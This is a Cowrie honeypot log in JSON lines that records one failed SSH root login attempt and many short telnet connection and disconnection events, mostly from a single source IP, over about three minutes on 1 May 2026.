{"eventid":"cowrie.login.failed","username":"root","password":"a123456789","message":"login attempt [root/a123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:53.112811Z","src_ip":"193.24.211.95","session":"5c8f7a484955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:54.223391Z","src_ip":"193.24.211.95","session":"5c8f7a484955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a288adff3b45","protocol":"telnet","message":"New connection: 188.208.141.113:44852 (10.17.0.5:23) [session: a288adff3b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:56.282049Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44866,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59ee2bcd266","protocol":"telnet","message":"New connection: 188.208.141.113:44866 (10.17.0.5:23) [session: c59ee2bcd266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:56.703260Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44868,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0286f52faa9","protocol":"telnet","message":"New connection: 188.208.141.113:44868 (10.17.0.5:23) [session: d0286f52faa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:57.031813Z"}
{"eventid":"cowrie.session.closed","duration":47.04958391189575,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:57.172880Z","src_ip":"188.208.141.113","session":"b2d29603ba22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c74bea8d8a6","protocol":"telnet","message":"New connection: 188.208.141.113:44870 (10.17.0.5:23) [session: 1c74bea8d8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:52:58.198776Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58336,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a943c00b53","protocol":"telnet","message":"New connection: 188.208.141.113:58336 (10.17.0.5:23) [session: b4a943c00b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:05.131405Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58338,"dst_ip":"10.17.0.5","dst_port":23,"session":"d169ffc0efd0","protocol":"telnet","message":"New connection: 188.208.141.113:58338 (10.17.0.5:23) [session: d169ffc0efd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:08.131929Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58350,"dst_ip":"10.17.0.5","dst_port":23,"session":"cae587940513","protocol":"telnet","message":"New connection: 188.208.141.113:58350 (10.17.0.5:23) [session: cae587940513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:10.013607Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35996,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a7cfd97674","protocol":"telnet","message":"New connection: 188.208.141.113:35996 (10.17.0.5:23) [session: 41a7cfd97674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:11.966839Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd886e42355c","protocol":"telnet","message":"New connection: 188.208.141.113:36014 (10.17.0.5:23) [session: cd886e42355c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:14.124002Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36000,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ed194bdbad","protocol":"telnet","message":"New connection: 188.208.141.113:36000 (10.17.0.5:23) [session: 02ed194bdbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:14.526370Z"}
{"eventid":"cowrie.session.closed","duration":57.813931703567505,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:17.899735Z","src_ip":"188.208.141.113","session":"8192b90be86e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.305100202560425,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:18.831360Z","src_ip":"188.208.141.113","session":"02ed194bdbad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38112,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0cafecd74d0","protocol":"telnet","message":"New connection: 64.227.9.242:38112 (159.203.135.109:23) [session: c0cafecd74d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:19.514255Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36026,"dst_ip":"10.17.0.5","dst_port":23,"session":"833708adda34","protocol":"telnet","message":"New connection: 188.208.141.113:36026 (10.17.0.5:23) [session: 833708adda34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:20.011260Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40028,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f455297041","protocol":"telnet","message":"New connection: 188.208.141.113:40028 (10.17.0.5:23) [session: 19f455297041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:20.988351Z"}
{"eventid":"cowrie.session.closed","duration":42.54410648345947,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:22.066011Z","src_ip":"188.208.141.113","session":"cb46e03e40d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.632107734680176,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:24.276861Z","src_ip":"188.208.141.113","session":"fc64464f358a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f5cde76269c","protocol":"telnet","message":"New connection: 188.208.141.113:38178 (10.17.0.5:23) [session: 0f5cde76269c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:32.238007Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38186,"dst_ip":"10.17.0.5","dst_port":23,"session":"2074d9818986","protocol":"telnet","message":"New connection: 188.208.141.113:38186 (10.17.0.5:23) [session: 2074d9818986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:33.063701Z"}
{"eventid":"cowrie.session.closed","duration":44.57818865776062,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:33.436949Z","src_ip":"188.208.141.113","session":"18f0eb9705f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81464457511902,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:34.096617Z","src_ip":"188.208.141.113","session":"a288adff3b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11417865753174,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:35.312863Z","src_ip":"188.208.141.113","session":"1c74bea8d8a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.75163674354553,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:35.454645Z","src_ip":"188.208.141.113","session":"c59ee2bcd266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38190,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf7acb70e92","protocol":"telnet","message":"New connection: 188.208.141.113:38190 (10.17.0.5:23) [session: dcf7acb70e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:37.740402Z"}
{"eventid":"cowrie.session.closed","duration":43.181596994400024,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:40.213281Z","src_ip":"188.208.141.113","session":"d0286f52faa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32362985610962,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:52.837739Z","src_ip":"64.227.9.242","session":"c0cafecd74d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.71466875076294,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:52.846465Z","src_ip":"188.208.141.113","session":"d169ffc0efd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58000,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac8535e44dc","protocol":"telnet","message":"New connection: 188.208.141.113:58000 (10.17.0.5:23) [session: 3ac8535e44dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:53.824843Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"74346fc3a033","protocol":"telnet","message":"New connection: 188.208.141.113:58008 (10.17.0.5:23) [session: 74346fc3a033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:54.771705Z"}
{"eventid":"cowrie.session.closed","duration":43.72818398475647,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:55.694910Z","src_ip":"188.208.141.113","session":"41a7cfd97674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.43366289138794,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:56.564734Z","src_ip":"188.208.141.113","session":"b4a943c00b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58020,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8785b050cb0","protocol":"telnet","message":"New connection: 188.208.141.113:58020 (10.17.0.5:23) [session: c8785b050cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:58.458296Z"}
{"eventid":"cowrie.session.closed","duration":38.81203770637512,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:53:58.823067Z","src_ip":"188.208.141.113","session":"833708adda34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.34634876251221,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:01.334589Z","src_ip":"188.208.141.113","session":"19f455297041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.677217960357666,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:01.801103Z","src_ip":"188.208.141.113","session":"cd886e42355c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c17a69610a","protocol":"telnet","message":"New connection: 188.208.141.113:60238 (10.17.0.5:23) [session: 42c17a69610a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:01.992315Z"}
{"eventid":"cowrie.session.closed","duration":54.15477108955383,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:04.168262Z","src_ip":"188.208.141.113","session":"cae587940513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60254,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f5a68d3dd3","protocol":"telnet","message":"New connection: 188.208.141.113:60254 (10.17.0.5:23) [session: 00f5a68d3dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:05.111297Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac1f2016c2a","protocol":"telnet","message":"New connection: 188.208.141.113:60260 (10.17.0.5:23) [session: dac1f2016c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:07.998240Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60272,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0bdf719690","protocol":"telnet","message":"New connection: 188.208.141.113:60272 (10.17.0.5:23) [session: 0a0bdf719690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:09.648267Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48730,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31e0476db37","protocol":"telnet","message":"New connection: 188.208.141.113:48730 (10.17.0.5:23) [session: a31e0476db37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:13.673485Z"}
{"eventid":"cowrie.session.closed","duration":43.32979202270508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:15.567719Z","src_ip":"188.208.141.113","session":"0f5cde76269c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.222617387771606,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:17.286242Z","src_ip":"188.208.141.113","session":"2074d9818986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49180,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba5ccb8e55e","protocol":"telnet","message":"New connection: 188.208.141.113:49180 (10.17.0.5:23) [session: cba5ccb8e55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:26.464715Z"}
{"eventid":"cowrie.session.closed","duration":49.06363606452942,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:26.803911Z","src_ip":"188.208.141.113","session":"dcf7acb70e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35772,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde94ae83fb6","protocol":"telnet","message":"New connection: 206.189.32.23:35772 (10.17.0.5:23) [session: cde94ae83fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:28.991390Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49206,"dst_ip":"10.17.0.5","dst_port":23,"session":"c778c8952103","protocol":"telnet","message":"New connection: 188.208.141.113:49206 (10.17.0.5:23) [session: c778c8952103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:30.377166Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":36824,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f21db2ee36","protocol":"telnet","message":"New connection: 64.227.9.242:36824 (159.203.135.109:23) [session: d7f21db2ee36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:30.632327Z"}
{"eventid":"cowrie.session.closed","duration":5.789974689483643,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:32.254561Z","src_ip":"188.208.141.113","session":"cba5ccb8e55e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.29364800453186,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:34.118365Z","src_ip":"188.208.141.113","session":"3ac8535e44dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":46580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85947d70cde","protocol":"telnet","message":"New connection: 188.208.141.113:46580 (10.17.0.5:23) [session: e85947d70cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:35.397107Z"}
{"eventid":"cowrie.session.closed","duration":5.668106317520142,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:36.045147Z","src_ip":"188.208.141.113","session":"c778c8952103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.25770425796509,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:37.029313Z","src_ip":"188.208.141.113","session":"74346fc3a033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95752215385437,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:38.949669Z","src_ip":"188.208.141.113","session":"42c17a69610a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.082561016082764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:42.193600Z","src_ip":"188.208.141.113","session":"00f5a68d3dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42328,"dst_ip":"10.17.0.5","dst_port":23,"session":"4308e5676155","protocol":"telnet","message":"New connection: 188.208.141.113:42328 (10.17.0.5:23) [session: 4308e5676155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:42.324353Z"}
{"eventid":"cowrie.session.closed","duration":44.713685750961304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:43.171863Z","src_ip":"188.208.141.113","session":"c8785b050cb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42342,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e905591baf","protocol":"telnet","message":"New connection: 188.208.141.113:42342 (10.17.0.5:23) [session: e6e905591baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:44.763936Z"}
{"eventid":"cowrie.session.closed","duration":35.86464262008667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:45.512709Z","src_ip":"188.208.141.113","session":"0a0bdf719690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42354,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a0838d3b37","protocol":"telnet","message":"New connection: 188.208.141.113:42354 (10.17.0.5:23) [session: 08a0838d3b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:45.658192Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1cc2ece11b","protocol":"telnet","message":"New connection: 188.208.141.113:42366 (10.17.0.5:23) [session: 3c1cc2ece11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:47.632973Z"}
{"eventid":"cowrie.session.closed","duration":4.5488762855529785,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:49.312697Z","src_ip":"188.208.141.113","session":"e6e905591baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42380,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc56fdd16f7","protocol":"telnet","message":"New connection: 188.208.141.113:42380 (10.17.0.5:23) [session: bbc56fdd16f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:50.611223Z"}
{"eventid":"cowrie.session.closed","duration":42.64168405532837,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:50.639738Z","src_ip":"188.208.141.113","session":"dac1f2016c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"3829ceb13fdd","protocol":"telnet","message":"New connection: 188.208.141.113:38000 (10.17.0.5:23) [session: 3829ceb13fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:51.042155Z"}
{"eventid":"cowrie.session.closed","duration":6.175390005111694,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:51.833441Z","src_ip":"188.208.141.113","session":"08a0838d3b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38012,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e5ed5e0670","protocol":"telnet","message":"New connection: 188.208.141.113:38012 (10.17.0.5:23) [session: 91e5ed5e0670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:53.004103Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38018,"dst_ip":"10.17.0.5","dst_port":23,"session":"454dec217e99","protocol":"telnet","message":"New connection: 188.208.141.113:38018 (10.17.0.5:23) [session: 454dec217e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:55.391071Z"}
{"eventid":"cowrie.session.closed","duration":4.372699499130249,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:54:57.376705Z","src_ip":"188.208.141.113","session":"91e5ed5e0670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.67550992965698,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:03.348868Z","src_ip":"188.208.141.113","session":"a31e0476db37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49600434303284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:06.128260Z","src_ip":"64.227.9.242","session":"d7f21db2ee36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.83089995384216,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:08.822195Z","src_ip":"206.189.32.23","session":"cde94ae83fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53012,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e2ef3652b6","protocol":"telnet","message":"New connection: 188.208.141.113:53012 (10.17.0.5:23) [session: 20e2ef3652b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:17.872084Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53020,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8ddb5b28d4","protocol":"telnet","message":"New connection: 188.208.141.113:53020 (10.17.0.5:23) [session: df8ddb5b28d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:18.903925Z"}
{"eventid":"cowrie.session.closed","duration":4.797148704528809,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:23.700922Z","src_ip":"188.208.141.113","session":"df8ddb5b28d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.665032386779785,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:25.061995Z","src_ip":"188.208.141.113","session":"e85947d70cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59458,"dst_ip":"10.17.0.5","dst_port":23,"session":"366c81a6bcda","protocol":"telnet","message":"New connection: 188.208.141.113:59458 (10.17.0.5:23) [session: 366c81a6bcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:25.310932Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59468,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b043d11b022","protocol":"telnet","message":"New connection: 188.208.141.113:59468 (10.17.0.5:23) [session: 1b043d11b022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:25.832110Z"}
{"eventid":"cowrie.session.closed","duration":43.70550990104675,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:55:26.029757Z","src_ip":"188.208.141.113","session":"4308e5676155","protocol":"telnet"}
